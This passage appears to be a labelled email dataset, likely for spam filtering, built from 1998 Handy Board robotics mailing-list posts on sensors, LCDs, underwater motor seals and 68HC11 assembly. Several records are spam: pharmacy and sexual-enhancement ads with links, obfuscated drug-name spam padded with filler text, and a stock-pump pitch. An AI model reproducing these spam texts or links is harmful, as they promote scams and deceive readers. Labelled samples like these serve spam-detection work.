counterproposal easel chub cupid creon zazen notice cassiopeia hydroxyl suspension battlefront doyle weeks efficacy pyhrric tyburn majesty sallow moron dusky j's acculturate lie usa annual chateau champagne backpack prophesy knauer depreciate peasant cowlick antigen",1,1 owenp@mail.islandnet.com,john calhoun ,"Thu, 15 Oct 1998 20:03:20 +0000",Re: Douglas HB Boards Predrilled?,"Yes ... mine arrived today and they are of good, finished quality... Owen > This is a simple enough question -- are the blank handy boards from > Douglas Electronics pre-drilled? Thank you. > > john calhoun- > > ",0,0 John Hatton ,"""'r.farnhill@bssl.co.uk'"" , 'Handyboard Mailing List' ","Fri, 16 Oct 1998 09:27:08 +0100",RE: HandyBoard LCD Module,"I am aiming on using the 16x2 LCD from Maplins (part number DK63T, 8.89 pounds + vat, model number LM016L). I don't know of hand if the pin layout is the same as the LM052L listed in the parts list but as I am going to be using a connecting lead this is not a problem for me but it may be worth finding out if you are intending mounting it on the board. Hope this helps. John Hatton john_hatton@bigfoot.com >---------- >From: r.farnhill@bssl.co.uk[SMTP:r.farnhill@bssl.co.uk] >Sent: 15 October 1998 12:57 >To: handyboard@media.mit.edu >Subject: HandyBoard LCD Module > >Hi all. > >Does anyone know of any compatible HandyBoard LCD modules sold through >R.S. Components or Farnell (or anywhere in U.K. ) as i can't seem to find >the LCD listed in the parts list. > > > >Cheers Russ.... > > > > ",0,0 Adam Oliver ,'Handyboard Mailing List' ,"Fri, 16 Oct 1998 16:40:17 +0800",Digital Outputs,"Hi all, I'm looking to try and get some digital outputs from the Handboard. I've read in the FAQ that this is possible using HC374(?), but I'm not sure how to do this or where to hook bits up to. Has anyone done this with some pictures or something to help me out? Any help would be appreciated. Thanks Adam ",0,0 Matthew Essar ,handyboard@media.mit.edu,"Fri, 16 Oct 1998 07:20:06 -0700",waterproof seals (a bit OT),"I'm interested in building an underwater ROV and am wondering if anyone has any insight on buiding waterproof seals for the motors.(I'd like to eventually be able to go down 200 ft or so). I realize this is a bit off topic but hope that someone may have some experience in the area. I will be using a handyboard communicating via SPI to a PC for the on board control and sensing. Thanks, Matthew Essar ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Tom Brusehaver ,messar@hotmail.com,"Fri, 16 Oct 1998 10:08:00 -0500",Re: waterproof seals (a bit OT)," >I'm interested in building an underwater ROV and am wondering if anyone >has any insight on buiding waterproof seals for the motors.(I'd like to >eventually be able to go down 200 ft or so). 200ft is about 7 ATM, roughly 103psi. Your're gonna need some really mean seals, and some serious current to turn motors within those seals. Lots more current than the 293's can handle. Probably easier to do what the big ROV's use. Take something like a stepper motor, and fill it with mineral oil. Seal it in a case to minimize (note, not prevent) the water from displacing the oil. Make it easy to change the oil on a regular basis, this is important. For just playing in a swimming pool, maybe just use some cheap motors and let 'em get wet. No one will get electrocuted, and the motors will last several hundred hours without anything special (I have done it, and never had any trouble). After a couple months sitting on the shelf the motors will rust, that is why I say cheap motors, all you do is replace 'em after they get stiff. I little silicone spray lubricant before each dive will help things last a little longer. This is a good excersize for bouyancy work. ",0,0 """Thomas, Jim"" ",handyboard@media.mit.edu,"Fri, 16 Oct 1998 08:34:57 -0700",RE: waterproof seals (a bit OT),"You could do what they do for aquarium filter pumps -- use magnetic transfer. Put a bar type magnet on the motor shaft and put a similar magnet on a propeller just outside the hull where the motor is. Since propellers require low-torque it works fine. The main down side is that this type of system can have problems starting up if clogged with crud. JT -----Original Message----- From: Matthew Essar [mailto:messar@hotmail.com] Sent: Friday, October 16, 1998 7:20 AM To: handyboard@media.mit.edu Subject: waterproof seals (a bit OT) I'm interested in building an underwater ROV and am wondering if anyone has any insight on buiding waterproof seals for the motors.(I'd like to eventually be able to go down 200 ft or so). I realize this is a bit off topic but hope that someone may have some experience in the area. I will be using a handyboard communicating via SPI to a PC for the on board control and sensing. Thanks, Matthew Essar ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 MADHU SUDAN GADDAMIDI ,handyboard@media.mit.edu,"Fri, 16 Oct 1998 11:29:31 -0700",IC installation problem,"Dear Sir, Iam getting started with my project. At our lab we are having freeware version of IC (version 2.8). We tried to install the commercial version 3.2, but we are facing some problems. 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Joe Martin > -----Original Message----- > From: Matthew Essar [mailto:messar@hotmail.com] > Sent: Saturday, 17 October 1998 0:20 > To: handyboard@media.mit.edu > Subject: waterproof seals (a bit OT) > > > I'm interested in building an underwater ROV and am wondering if anyone > has any insight on buiding waterproof seals for the motors.(I'd like to > eventually be able to go down 200 ft or so). > > I realize this is a bit off topic but hope that someone may have some > experience in the area. I will be using a handyboard communicating via > SPI to a PC for the on board control and sensing. > > Thanks, > > Matthew Essar > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > ",0,1 Bernd Klein ,handyboard@media.mit.edu,"Sun, 17 Oct 1993 15:45:30 +0100",Bootstrap mode,"hi all, i have trouble with my handy-board. Few days ago it works proberly, now i doesn´t go into the bootstrap modus. Both leds (red+green) lights. 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I have read the HandyBoard manual a couple of times, so I understand what each file type is, but my problem is: what to do after I have them loaded into the handyboard? Any help is always appreciated. Thanks, Dave ",0,0 """Terry P. Gathright"" <669@worldnet.att.net>","DjKOz97@aol.com, handyboard@media.mit.edu","Sat, 17 Oct 1998 16:26:41 -0500",Re: File Types,"Hi, load compass.icb first then compass.c at the ic prompt type v2x(); compass will display heading on the lcd. I'll send you the code I am using. hope this helps. Terry Gathright ---------- > From: DjKOz97@aol.com > To: handyboard@media.mit.edu > Subject: File Types > Date: Saturday, October 17, 1998 12:18 PM > > Hello, > I need help with the file types used by the handyboard. There are c, asm, icb, > and lis files. How do I work with them? For example, I downloaded the > compass.icb and compass.c files from the HandyBoard Site. Do I need to > download both of them to the handy board in order for the program to work? I > just received my handyboard a few weeks ago, so I really don't know how to do > this. I have read the HandyBoard manual a couple of times, so I understand > what each file type is, but my problem is: what to do after I have them loaded > into the handyboard? > Any help is always appreciated. > Thanks, > Dave ",0,0 Adam Oliver ,'Handyboard Mailing List' ,"Sun, 18 Oct 1998 23:21:16 +0800",Address locations port d and y0," Ok I've had another read of the FAQ, as well as a close look at the schematics for the handyboard and the expansion board. Correct me if I'm wrong, but I think I can use d0-d7 along with Y0 or similar and hook these into a HC374 to get some digital outputs. My question is, what address do I have to poke to in order to set or unset these bits? I can't find this information anywhere, and I've gone over all the source code I can find. Also what should the sequence be? I know it's similar to the motor output routines, but I can't work it out. Any help would be great, Thanks Adam ",0,0 Michael Choy ,'Handyboard Mailing List' ,"Mon, 19 Oct 1998 00:30:15 +0800",NEC V40,"Sorry to intrude, I would like to check with people of this list if any one have used the NEC V40 ucontroller before. I'm doing a project on this and have problem programming the timer and intrl3. Kind reply to me personally at choykm@singnet.com.sg. Please do not reply thru this list as not to inconvenience user of this list. Thanks in advance Regards ",0,0 """Fred G. Martin"" ",Adam Oliver ,"Sun, 18 Oct 1998 12:58:58 -0400",Re: Address locations port d and y0 ,"it's in the faq, at http://el.www.media.mit.edu/projects/handy-board/faq/index.html#memmap all you do is write to 0x4000, 0x5000, 0x6000 depending on whether your latch is attached to Y0, Y2, or Y4 (respectively). e.g., ""poke(0x4000, 0xff);"" will set all the bits of a latch attached to Y0 to 1. Fred In your message you said: > > Ok I've had another read of the FAQ, as well as a close look at the > schematics for the handyboard and the expansion board. Correct me if I'm > wrong, but I think I can use d0-d7 along with Y0 or similar and hook these > into a HC374 to get some digital outputs. > > My question is, what address do I have to poke to in order to set or unset > these bits? I can't find this information anywhere, and I've gone over all > the source code I can find. Also what should the sequence be? I know it's > similar to the motor output routines, but I can't work it out. > > Any help would be great, > > Thanks > Adam > > ",0,1 Shaun Hannah ,handyboard@media.mit.edu,"Sun, 18 Oct 1998 16:13:02 -0520",All products for your health!,"http://krcrnu.cakelynx.info/?35873001 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! 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It worked fairly well and could carry a large payload (IR, ultrasound, bump sensors, micro-controller, laptop, etc.). Lately, I've become interested in building a new one, this time with a better budget. I'm planning on using a HandyBoard and PIC processor(s) for the low level control and remote the high level control (video based) to my O2. Right now I'm trying to decide on a platform. At this point, I'd prefer to avoid building the platform from scratch, so I was hoping to use a RC truck or another kiddie car with differential steering. I've been playing around with a 'Tamiya King Blackfoot', because it was fairly cheap, but I'm not happy with the results. The turning radius is huge, so large that I have a hard time turning it around in the halls at work, so I how can I expect to do it in software. The suspension was not designed for a payload and with a high res B&W camera, WaveCom Jr. 2.4GHz video transmitter, 16 AA batteries, and an electronic power controller, the front end toes in making it hard to steer. Also, it is geared for speed and has a hard time starting at low speeds. It's great fun to drive around at work, but I think it's a bad choice for an autonomous robot. As a result, I'm in search for another platform. One thing that looked really interesting was the platform used by USC's 1997 RoboCup entry. Check out: http://www.isi.edu/isd/dreamteam/ http://www.isi.edu/isd/dreamteam/pictures2.html >From the paper, the platform is based on a RC truck that has some form of differential steering. However, I haven't been able to find out who made the truck. I tried asking on comp.robotics.misc and one of the team members, but no luck so far. Does anyone know what they used? Does anyone have other suggestions? To simplify the control, I'd prefer something with differential steering or a fairly small turning radius. In a recent trip to Toys R Us, I didn't have any luck finding a kiddie car with differential steering. I may have to give up using something off the shelf and build the entire thing from scratch, but if possible, I'd like to avoid that. Any ideas? Many thanks, Clem ",0,1 """Graham, J. Todd"" ","""'ctaylor@SRTC.COM'"" , handyboard@media.mit.edu","Mon, 19 Oct 1998 09:47:21 -0500",RE: platform choices...,"From the pictures, it seems that this is a vehicle called 'Hercules' (or something close). I have seen it at the FAO Schwarz store recently. I have no details on how the truck operates, though the details on the box indicated that it can raise and lower itself on the suspension. I'll take a closer look at the pictures on the site, and go compare them to the rc truck to see if this is indeed the same model. Todd - Check out: http://www.isi.edu/isd/dreamteam/ http://www.isi.edu/isd/dreamteam/pictures2.html >From the paper, the platform is based on a RC truck that has some form of differential steering. However, I haven't been able to find out who made the truck. I tried asking on comp.robotics.misc and one of the team members, but no luck so far. Does anyone know what they used? Does anyone have other suggestions? To simplify the control, I'd prefer something with differential steering or a fairly small turning radius. In a recent trip to Toys R Us, I didn't have any luck finding a kiddie car with differential steering. I may have to give up using something off the shelf and build the entire thing from scratch, but if possible, I'd like to avoid that. Any ideas? Many thanks, Clem ",0,1 Phil ,handyboard@media.mit.edu,"Mon, 19 Oct 1998 10:23:09 -0500",Re: platform choices...,"If money is not an issue, Mondo Tronix' Robot Store has variuos robot bases. One is large enough to hold a laptop and a great many sensors. --phil ",0,0 MADHU SUDAN GADDAMIDI ,handyboard@media.mit.edu,"Mon, 19 Oct 1998 09:15:23 -0700",IC installation problem," Dear Sir, Iam getting started with my project. At our lab we are having freeware version of IC (version 2.8). We tried to install the commercial version 3.2, but we are facing some problems. We tried to install from the site you told i.e http://www.newtonlabs.com/ic/ic_download.html Can you please help us how to install it by step by step. thanking you sir, Madhusudan Gaddamidi ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 michaelj@wt.net,handyboard@media.mit.edu,"Mon, 19 Oct 1998 12:56:53 +0500",Re: waterproof seals (a bit OT),">I'm interested in building an underwater ROV and am wondering if anyone >has any insight on buiding waterproof seals for the motors.(I'd like to >eventually be able to go down 200 ft or so). A little off the wall, but would it simplify the sealing if you could pressurize the inside to something close to the pressure outside (equalize pressures). A miniature CO2 cartridge with a release valve may help. Mike ",0,0 """Fred G. Martin"" ",crenshaw@mbay.net,"Mon, 19 Oct 1998 19:04:05 -0400",HOW TO UNSUBSCRIBE,"It appears to be time for the periodic unsubscribe reminder. In order to unsubscribe from the HB Mailing List, you must send a request to Fred Martin. He is the only person who can take you off the list. Ha ha ha ha!!! Try to guess his email address. Fred Martin fredm@media.mit.edu ",0,0 Al Chavez ,handyboard@media.mit.edu,"Tue, 20 Oct 1998 04:34:02 -0400",Credit Card Expiration Approaching,"-Icrease Your Sexual Desire and Sperm volume by 500% -Longer orgasms - The longest most intense orgasms of your life -Rock hard erections - Erections like steel -Ejaculate like a porn star - Stronger ejaculation -Multiple orgasms - Cum again and again -SPUR-M is The Newest and The Safest Way of Pharmacy -100% Natural and No Side Effects - in contrast to well-known brands. -Experience three times longer orgasms -World Wide shipping within 24 hours Clisk here http://expojewelrybuys.info convenient calamus arctangent substantive nelsen beady crispin dogmatic literate compactify salami railroad lanky okinawa demystify forsake bantu tilth istvan exaltation blueberry edwardine courtesy aphorism prop alexei radiotherapy judicature phagocyte camilla jab ranch science coolheaded soundproof rot cube event wapato compassion ecumenic neck author clown teflon murk dionysus dominic argonne gong season lubricious slump bator ",1,1 Idony Lindsay ,handyboard@media.mit.edu,"Tue, 20 Oct 1998 02:51:08 -0700",Re: CtALlsS new,"Hi V w I l A l G w R w A u X q A r N m A e X c V n A g L j I e U v M e C i I o A d L e I j S j http://www.terainital.com fearsom Africa quarre figurativ abortiv The rest was somewhat anticlimactic for the old man, especially the absence of the press. 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Kiplinger"" ",solcoord-send@proton.sel.noaa.gov,"Tue, 20 Oct 1998 15:43:07 -0600",SPARTAN 201 flight on shuttle flight STS-95,"SPARTAN 201 EXPERIMENT ON SHUTTLE MISSION STS-95 Launch date 29 October 1998 Note: A much more detailed version of this message which better describes SPARTAN instrumentation and scientific objectives may be found on the Coordinated Solar Observations home page at: http://sec.noaa.gov/solcoord/solcoord.html (Alternatively one may send the email message: get solcoord spartan98.doc to the address: majordomo@sec.noaa.gov and the list server will return the same detailed text.) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From: Leonard Strachan SPARTAN 201 will be carried into orbit by the space shuttle on Mission STS-95 which has a launch date scheduled for 29 October 1998, 19:00 UT. The payload for SPARTAN Mission 201-5 consists of a White Light Coronagraph (WLC) provided by NASA/Goddard Space Flight Center and an Ultraviolet Coronal Spectrometer (UVCS) provided by the Smithsonian Astrophysical Observatory. SP201 will be deployed on 1 November 18:46 UT and retrieved on 3 November 20:30 UT. The duration of the SPARTAN flight is almost two days (43.5 hours). Deployment is planned to occur 71 hours, 46 minutes after launch. Primary targets are the north polar hole and the adjacent streamers surrounding the polar coronal holes. The primary goals of the SPARTAN 201-5 mission is to study the physical properties of the corona and to update the absolute radiometric calibrations for two of the coronagraphs on the Solar and Heliospheric Observatory (SOHO) spacecraft:SOHO/UVCS and SOHO/LASCO. Coordinates for the targets will be announced 28 hours before deployment. Updates of the coordinates may be issued at 12 and possibly 8 hours prior to deployment. Once deployed, SPARTAN automatically executes the pre-programmed maneuvers on each target. The current primary targets for this flight are the north polar hole and streamers on the east and west limbs. The location of the fourth target will probably be in the south coronal hole. Space-based observations from instruments on SOHO and Yohkoh will be used to identify transient activity as late as 8 hours prior to deployment. Additional supporting observations from prominence monitors, coronagraphs, and interplanetary scintillation arrays can provide useful correlative measurements of temperature, density and velocity diagnostics of the lower and upper corona. In particular, synoptic observations of coronal and photospheric/chromospheric features FOR ONE WEEK BEFORE AND AFTER the flight will be very useful in determining the three dimensional structure of the coronal features. Magnetic and H-alpha observations are useful in determining large-scale magnetic field patterns. A tentative timeline showing actual times and true position angles will be made available on 30 October 1998, two days prior to the SPARTAN deployment. A FINAL timeline of the SPARTAN observations will be sent out on the day of SPARTAN deployment. A STRAWMAN TIMELINE FOR UVCS/SPARTAN IS AVAILABLE AT THE UVCS/SPARTAN WEBSITE LISTED BELOW. SELECT ""CURRENT MISSION"" FROM THE MENU BAR. http://cfa-www.harvard.edu/cfa/spartan/ OR FOR AN UPDATE ON THE STATUS OF THE MISSION PLEASE CHECK THE SPARTAN WEBSITE AT NASA/GSFC FOR WHICH THE URL IS: http://umbra.gsfc.nasa.gov/spartan/",0,1 Eric Noyau ,handyboard@media.mit.edu,"Tue, 20 Oct 1998 10:18:36 -0700",Questions about sensors," Hi all, I'm having fun with my HB! For a software guy like me a 8 bit processor at 2 Mhz with 32K of RAM is a little small but it's so easy to add sensors to it it's just plain fun! But I'm an hardware newbie and I need more info on the sensors I can add to my little board. I build my first robot a couple of days ago on a really simple wood+tape base: it was pretty stupid, running straight (or trying to run straight, I guess I need some shaft encoder to make it real straight) and backing up and turning when bumping into a wall. Primitive. And it felt completely apart on the third wall. I guess I need a better base to build on;^) Now I have some work to do. I need to understand what kind of information all these sensors are going to return and what I can do from it. For example I played with a photocell plugged in the HB and I'm trying to see what I can do with it. It can detect a color change when it's close to a surface (I guess I can build a line follower from that), it can also detect a light source in a distance if you encase the photocell in a tube to narrow its angle. Is there any other uses? I also got a reflective infrared sensor (I bought my HB from Gleason Research, and I got the sensor/motor kit they are offering with it) and I don't really know what to do with it! It seems to give me a reading relative to the sensor distance from a surface, but not always... And sometime I got ""close"" reading when I'm actually really far from any surface... Can somebody explain to me the logic behind this? There is so many infrared stuff in these electronics catalogs, and nowhere an explanation on the differences between them! What's the difference between my reflective infrared sensor and the one used by Rug Warrior to do shaft encoding? I tried to test mine on top of a piece of paper with black and white stripes and I cannot get a different reading on the black that I can get from the white... I'm confused ;^) What kind of sensors are you using on your bots? And more importantly for what purpose did you select this sensor? -- Eric PS: Thanks to all of you for your recommendations on a LEGO set to use. I'm waiting for the LEGO and LEGO-DACTA catalogs to show up in my mailbox and I'll let you know what I do end-up buying. ",0,0 """Curt Mills, WE7U"" ",Eric Noyau ,"Tue, 20 Oct 1998 12:39:39 -0700",Re: Questions about sensors,"On Tue, 20 Oct 1998, Eric Noyau wrote: > it. For example I played with a photocell plugged in the HB and I'm > trying to see what I can do with it. It can detect a color change when > it's close to a surface (I guess I can build a line follower from that), > it can also detect a light source in a distance if you encase the > photocell in a tube to narrow its angle. Is there any other uses? One thing that was discussed before (I think on this mailing list?) that I thought was pretty cool was a small robot with a microphone (FM wireless mike perhaps?) and a photocell. It would stay in the shadows while trying to get close to people speaking. Bump sensors and/or ultrasonics sensors would also be nice to keep it from running into things much. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Justin Gullotta ,handyboard@media.mit.edu,"Tue, 20 Oct 1998 05:00:20 -0700",data capture,"hello, i am trying to send a data array to my PC from the handyboard thru the serial cable. a couple months ago, i was advised to use a terminal emulator to capture the data. this has not worked, however. i was told about using a null modem cable when attempting such a task, and i am wondering how this works, and if it is the correct method. also, can anyone recommend a good terminal emulator? thank you. Justin D. Gullotta.. Rensselaer Polytechnic Institute. ",0,0 Bill Harris ,"SL Java SIG ListServer , Bernie LaSalle ","Tue, 20 Oct 1998 22:20:06 -0600",Next SLC Java SIG - Oracle 8i - Oct.27,"Jeff Olsen, of Oracle, will present Oracle 8i at the next meeting of the Salt Lake Java SIG. Oracle 8i includes major enhancements to Oracle's core relational database engine. The 8i product will ship with its own JVM and will allow Java programs to be executed by the database engine. It also includes a new, operating system independent, file system. The meeting will be held on Tuesday, Oct.27, in Room 112 of the Engineering & Mines Classroom Bldg. on the Univ.Of Utah Campus, from 7:00-8:00 PM. For further info - please call Bill Harris at (801)582-5004 or send E-Mail to bharris@ibm.net ",0,0 Olive Martelli ,handyboard@media.mit.edu,"Tue, 20 Oct 1998 18:14:42 -0700",Re: ioxyl news,"Dea j r Home Ow q ne p r , Your c x redi i t doesn't matter to us ! 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I'm hear that RTXC, RTEK or MCX11 may be that RTOS. Is anybody tested some RTOS with HB? Andrew Vlasov Software Developer Email : vlas@dicomp.ru Web: http://www.dicomp.ru Phone: (095) 406-2036 ",0,1 Will ,Handyboard Mailing List ,"Wed, 21 Oct 1998 12:03:49 -0600",Re: Questions about sensors,"Eric Noyau wrote: > I also got a reflective infrared sensor (I bought my HB from Gleason Research, and I got the sensor/motor kit they are offering with it) and I don't really know what to do with it! It seems to give me a reading relative to the sensor distance from a surface, but not always... And sometime I got ""close"" reading when I'm actually really far from any surface... The results you get from a reflective IR sensor will vary quite a lot depending on surface color, roughness, angle of incidence, electrical noise, etc. My IR sensors were not good for much of anything besides encoders, where the surface characteristics are controlled. One technique that I use to filter noisy sensor data is to return the median of three successive sensor readings. This works extremely well for the Polaroid sonar sensors for example, where an occasional huge error can mess up other averaging schemes. Hope this helps. Good luck! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If you can find something everyone agrees on, Will Bain, it's wrong. & Tatoosh --Mo Udall",0,0 Julian Porter ,handyboard@media.mit.edu,"Wed, 21 Oct 1998 17:17:47 -0400",Basic Sensor Question,"I just got my HB and am trying to test the sensor input, the docs say to hook up the microswitch between signal and ground, when I do this and close the switch my hb resets (because I just shorted it out...). I tried putting a resistor (330 ohm) in the circuit this stopped the reset but I could not get the switch to change states in ic, it is always 255. I am new to electronics and appreciate any help you can give. Julian jporter@mindspring.com ",0,0 Jaron Paludanus ,"Andrew Vlasov , handyboard@media.mit.edu","Wed, 21 Oct 1998 23:33:44 +0200",RE: RTOS for HB?,"There is the Micro Kernel from Jean J. Labrosse. It's a free kernel readily available, also for the 68hc11. I have his book but haven't implemented the full kernel yet, only parts of it. Its well written and cheap. Look at: http://www.ucos-ii.com/ Groetjes, jaron paludanus -----Original Message----- From: Andrew Vlasov [mailto:vlas@dicomp.ru] Sent: woensdag 21 oktober 1998 9:05 To: handyboard@media.mit.edu Subject: RTOS for HB? To me is seems, that multitasking futures of IC is very insufficient. Is exist any small, inexpensive RTOS (real time operation system), that is tested for HB? I'm hear that RTXC, RTEK or MCX11 may be that RTOS. Is anybody tested some RTOS with HB? Andrew Vlasov Software Developer Email : vlas@dicomp.ru Web: http://www.dicomp.ru Phone: (095) 406-2036 ",0,1 Tracy Stuart ,handyboard@media.mit.edu,"Wed, 21 Oct 1998 17:46:05 -0420",Re:,"http://jatmle.coatbig.info/?99018508 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! Operative support, fast shipping, secure p@yment processing and complete confidentiality! The store is VERIFIED BY BBB and APPROVED BY VISA! http://jatmle.coatbig.info/?99018508 ",1,1 """Scott R. Harris"" ",Julian Porter ,"Wed, 21 Oct 1998 17:45:23 -0400",Re: Basic Sensor Question," It sounds like you've got the switch between +5V and GND. What pins exactly are you connecting to? The sensor connections Are like this: _ _ _ G + I N 5 N D V P You dont need a resistor to use a microswitch. The HB inputs have pull-up resistors, so all you need to do is connect the input to GND to make it go low. -Scott Harris On Wed, 21 Oct 1998, Julian Porter wrote: > I just got my HB and am trying to test the sensor input, the docs say to > hook up the microswitch between signal and ground, when I do this and close > the switch my hb resets (because I just shorted it out...). I tried putting ",0,0 Julian Porter ,"""Scott R. Harris"" ","Wed, 21 Oct 1998 18:07:13 -0400",Re: Basic Sensor Question,"You were right, also it seems my board is wired incorrectly analog(0) controls the connector marked 7 on the hb. Thanks for your help! Julian -----Original Message----- From: Scott R. Harris To: Julian Porter Cc: handyboard@media.mit.edu Date: Wednesday, October 21, 1998 5:54 PM Subject: Re: Basic Sensor Question > >It sounds like you've got the switch between +5V and GND. What pins >exactly are you connecting to? > >The sensor connections Are like this: > > _ _ _ > G + I > N 5 N > D V P > >You dont need a resistor to use a microswitch. The HB inputs have pull-up >resistors, so all you need to do is connect the input to GND to make it go >low. > >-Scott Harris > > >On Wed, 21 Oct 1998, Julian Porter wrote: > >> I just got my HB and am trying to test the sensor input, the docs say to >> hook up the microswitch between signal and ground, when I do this and close >> the switch my hb resets (because I just shorted it out...). I tried putting >",0,0 """Fred G. Martin"" ",Julian Porter ,"Wed, 21 Oct 1998 18:35:47 -0400",Re: Basic Sensor Question ,"if a sensor connector row looks like this -- [ ][ ][ ][ ][ ][ ][ ] [ ][ ][ ][ ][ ][ ][ ] [ ][ ][ ][ ][ ][ ][ ] 6 5 4 3 2 1 0 then to connect to sensor 0, you plug the switch into the places marked ""[X]"": [ ][ ][ ][ ][ ][ ][X] [ ][ ][ ][ ][ ][ ][ ] [ ][ ][ ][ ][ ][ ][X] 6 5 4 3 2 1 0 see the instructions on building sensors at http://el.www.media.mit.edu/projects/handy-board/sensors/index.html fred In your message you said: > I just got my HB and am trying to test the sensor input, the docs say to > hook up the microswitch between signal and ground, when I do this and close > the switch my hb resets (because I just shorted it out...). I tried putting > a resistor (330 ohm) in the circuit this stopped the reset but I could not > get the switch to change states in ic, it is always 255. I am new to > electronics and appreciate any help you can give. > > Julian > jporter@mindspring.com > > > ",0,1 Mefodi Janz ,handyboard@mailhub.media.mit.edu,"Wed, 21 Oct 1998 17:16:26 -0700",Re: CtAuLlS news,"Hi, A C V V L P X m I I A e r a b A A L v o n i L G I i z a e I R U t a x n S A M ra c http://www.onkolarebifan.com As all things come to an end, even this story, a day came at last when they were in sight of the country where Bilbo had been born and bred, where the shapes of the land and of the trees were as well known to him as his hands and toes. Coming to a rise he could see his own Hill in the distance, and he stopped suddenly and said: Roads go ever ever on, ",1,1 HECTOR NORIEGA <110060.2126@compuserve.com>,Handyboard ,"Thu, 22 Oct 1998 02:07:42 -0400",Read A/D converter,"""HI"" , I am trying to read the A/D converter but the program gets ""Hung-Up"" on the line ""ANALOOP"", the CCF bit never sets. Please give me a hint. Here is the Assembly code. /* MAGLEV.ASM, Magnetic Levitation by Hector Noriega, 28JUNE1998.*/ /*Handy Board */ /* Program to read PE1, ADR2 of Analog to Digital and write /* and write the byte to PORTC. BASE EQU $1000 ADCTL EQU $30 ; A/D Control/status Register ADR1 EQU $31 ; A/D Result Register 1 ADR2 EQU $32 ; A/D Result Register 2 PIOC EQU $02 ; Parallel I/O Control register HPRIO EQU $3C ; Highest Priority Interrupt and misc. OPTION EQU $39 ; system configuration Options ANALOG2 FCB $00 ORG $8000 ;PCODE_ORIGIN, builds upwards FCB 0 ORG $C500 ;MAIN_CODE NOP NOP NOP NOP NOP LDS #$FEFF ;ini. Stack Pointer to top of RAM,grows downwards /**********************A/D*************************************/ LDX #BASE LDAB #$65 ;0110 0101 STAB HPRIO,X ;HPRIOtest SMOD & MDA bit(normal expanded mode) LDAB #$00 STAB PIOC,X ;PIOC $1002 /*INAD is a subroutine to read Analog channels *********/ BSR STARTAD BSR INAD LDAA #$80 ; to make the output bypolar ABA ; add B to A LDAB #$FF ; to set port ""C"" STAB $07,X ;DDRC 1007 Set portc to output STAA $6FFF ; L byte FF to PORTB, BRA LOOP1 ; H byte 6F to PORTC latch /* ; and data byte to PORTC*/ /* ; turn on interrupts*/ /*******************A/D subroutine*******************/ STARTAD PSHX LDX #BASE ;point to registers BSET OPTION,X,$80 ; ADPU=to power up,set bit in mem. BCLR OPTION,X $40 ; CSEL = 0 to select clock LDX #60 ;Delay >100us for E=3MHZ or less DLY100 DEX BNE DLY100 PULX RTS INAD LDX #BASE LDAB #%00100001 STAB ADCTL,X ;start conversion /* ;also clears CCF*/ /* ;wait for fist conversion done*/ ANALOOP LDAB ADCTL,X /* poll for analog conversion*/ ANDB #$80 BEQ ANALOOP LDAB ADR2,X ; load B with result RTS ",0,0 Hershel ,handyboard@media.mit.edu,"Thu, 22 Oct 1998 09:09:16 -0100",Radar for helping you make stock market decisions Discover the latest,"Expert stokc suggestions and recommendations Mutual benefit by reliable stokc information Market research and market pulse analysis from top experts Investment time frames, stokc recommendations and highlights Take a look: CHINA GOLD CORP Symbol: CqG4D8Ci Current Price: 1.90 You can see China’s developing gold boom is building momentum. Rare opportunity for early investors!Why consider CHINA GOLD CORP (ClGkDfC4)? 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He who knows better has never tried it Greedy folks have long arms Fine feathers make fine birds Home sweet home In the house of the wise are stores of choice food and oil, but a foolish man devours all he has One man's meat is another man's poison.. Bread is the staff of life Beer is proof that God loves us and wants us to be happy Doubt is the beginning not the end of wisdom Perfection is inperfect You can't teach an old dog new.. math. He That Will Not Be Counselled Cannot Be Helped He who awaits much receives little Beauty without virtue is a flower without perfume Grease is the only cure for a hangover Let sleeping dogs lie. When a fool is silent, he too is counted among the wise What goes up must come down Every man has his price The road to hell is paved with good intentions A clear conscience is usually the sign of a bad memory. War does not always decide who it right but it always decides who is left! Beautiful is not what is beautiful, but what one likes God gives every bird its food, but does not always drop it into the nest Yuh gat fuh blow yuh nose where yuh stump yuh toe. There is more than one way to skin a cat What goes up must come down Many hands make light work Charity covers a multitude of sins",1,0 Mark Limb ,handyboard@media.mit.edu,"Thu, 22 Oct 1998 21:33:17 +1000",Dead HB,"Hi All, While I was building my sumo robot I managed to short a wire in my HB. I put a wire that was connected to a multimeter and also connected to another part of the robot, into a digital sensor input, sparks came out and it smelt like burnt electronics. I checked over the board and there was no physical damage that I could see. I downloaded IC and when I reset it didn't say ""Welcome to interactive c blah blah blah"", like it usually does, the LCD just stayed the same, all full bars on top row and all clear on the bottom. There is obviously something wrong and I was wondering if anyone may know of any quick tests or fixes for this sort of problem. Thanks for any help Joshua Wherrett ",0,0 Wong Sy Ming ,Mark Limb ,"Thu, 22 Oct 1998 19:51:57 +0800",Re: Dead HB,"Well maybe you should try replacing the HC11 for a start.. These things tend to spoil easily and for no apparent reason.... :( (or is it just bad luck?) That's funny, you shorted out something and it still can download? Maybe you should also change the RAM chip for good measure. Anyway does anyone know if I can use a NVRAM module (Dallas DS1230) in place of the SRAM now so I don't have to use a battery just to keep the RAM contents? Mark Limb wrote: > Hi All, > While I was building my sumo robot I managed to short a wire in my HB. > I put a wire that was connected to a multimeter and also connected to > another part of the robot, into a digital sensor input, sparks came out > and it smelt like burnt electronics. I checked over the board and there > was no physical damage that I could see. I downloaded IC and when I > reset it didn't say ""Welcome to interactive c blah blah blah"", like it > usually does, the LCD just stayed the same, all full bars on top row and > all clear on the bottom. There is obviously something wrong and I was > wondering if anyone may know of any quick tests or fixes for this sort > of problem. 